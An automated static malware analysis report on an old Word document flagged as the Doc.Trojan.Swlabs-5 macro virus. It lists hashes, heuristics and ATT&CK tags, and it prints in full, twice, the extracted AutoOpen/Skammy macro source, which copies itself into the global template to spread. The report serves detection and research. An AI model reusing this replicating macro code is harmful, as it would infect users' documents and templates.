Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9a715b530ed671e…

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-10-01 09:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e8ccd2eae37ea72d1219b52ebd2366ee SHA-1: 5ead877d594630aab2a4443eefbe30fb8d0e0b67 SHA-256: b9a715b530ed671e6360ea23a747401b1f06a15df9f7f6ebf6f6632c709a0928
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and VBA macros, including an AutoOpen subroutine. The script attempts to copy macros to the global template and save the document as a template, indicating an attempt at persistence and propagation. The ClamAV detection and the presence of legacy macro markers suggest a known, albeit old, malware family.

Heuristics 4

  • ClamAV: Doc.Trojan.Swlabs-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Swlabs-5
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2602 bytes
SHA-256: 5680da2ac01f01750e9013ec1e4bd3abbfb6d65205418bb7be930d933a2cfe26
Detection
ClamAV: Doc.Trojan.Swlabs-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the 15TSEX Created by Natas

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

Rem Virii Unite!

On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

Attribute VB_Name = "Skammy"

Public Sub MAIN()
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the 15TSEX Created by Natas

Rem Run Payload, Copy Macros to Template.
On Error GoTo -1: On Error GoTo ErrorHandler

     Rem What? No Payload?  WUSSY!

     FName$ = WordBasic.[FileName$]()
     MacName$ = FName$ + ":AutoOpen"

     If WordBasic.[MacroFileName$]("AutoOpen") = "" Then GoTo EndCode
     WordBasic.MacroCopy MacName$, "Global:AutoOpen", 1
     WordBasic.MacroCopy MacName$, "Global:Skammy", 1

ErrorHandler:

Rem Copy Macro(s) from Template to the Document

On Error GoTo -1: On Error GoTo AutoOpenHandler
     MacName$ = FName$ + ":AutoOpen"
     WordBasic.MacroCopy "Global:AutoOpen", MacName$, 1
AutoOpenHandler:

On Error GoTo -1: On Error GoTo OtherNameHandler
     MacName$ = FName$ + ":Skammy"
     WordBasic.MacroCopy "Global:Skammy", MacName$, 1
OtherNameHandler:

Rem Save Document as Template
If WordBasic.[FileName$]() <> "" Then
     WordBasic.FileSaveAs Format:=1
End If

Rem Virii Unite!

On Error GoTo -1: On Error GoTo 0:
On Error GoTo -1: On Error GoTo EndCode:



EndCode:

End Sub

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